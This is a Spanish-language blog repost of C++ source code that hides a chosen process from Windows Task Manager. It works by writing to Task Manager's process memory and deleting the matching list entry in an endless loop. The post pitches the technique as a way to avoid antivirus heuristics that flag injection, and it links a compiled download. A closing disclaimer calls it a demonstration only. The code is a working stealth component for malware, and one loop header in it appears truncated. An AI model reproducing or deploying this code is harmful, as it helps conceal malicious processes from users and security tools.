Banner 1

Ocultar proceso en el Administrador de Tareas (Task Manager) en C++

Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.

Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.

/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado en Windows XP SP2
octalh@gmail.com
www.aztekmindz.org
*/

using namespace std;

LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar

BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
char HLista[150] = "";
char HAdminT[150] = "";

GetWindowText(hwnd,HAdminT,149);
GetClassName(hwnd,HLista,249);

if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
/* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
de la listvew
*/

{
int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
int i;
GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
// Obtenemos el Hndle del proceso como Item de la Listvew

_ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
_item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE);
_subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda

ItemLista.cchTextMax=512;
for(i=0; i) { // Contamos cada Item en un Bucle
ItemLista.iSubItem=0;
ItemLista.pszText=_item;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
ItemLista.iSubItem=1; // Posicion de la columna en el listview
ItemLista.pszText=_subitem;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
ReadProcessMemory(HProceso, _item, item, 512, NULL);
ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);

if (strstr(item,ExeProc) != NULL) SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
// Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
}
VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos…
VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
return FALSE;
}

return TRUE;
}

int main(){
HWND fwindow;
printf("%s","\n\n Ocultar Procesos al Task Manager \n");
printf("%s","\n <<>>\n\n");
printf("%s"," [ www.aztekmindz.org | octalh@gmail.com ]\n \n");
printf(" Escribe el proceso que deseas ocultar: ");
gets(ExeProc);
printf("\n\n Ocultando Proceso: [ %s ]",ExeProc);

for(;;)
{
EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
}

return 0;
}

Descargar Programa Compilado


NOTA:el codigo es unicamente para demostrar como hacerlo y no como una herramienta en si

Fuente:http://www.aztekmindz.org/2008/06/29/ocultar-proceso-en-el-administrador-de-tareas-task-manager-en-c/


3 comentarios:

Powered by Bad Robot
Helped by Blackubay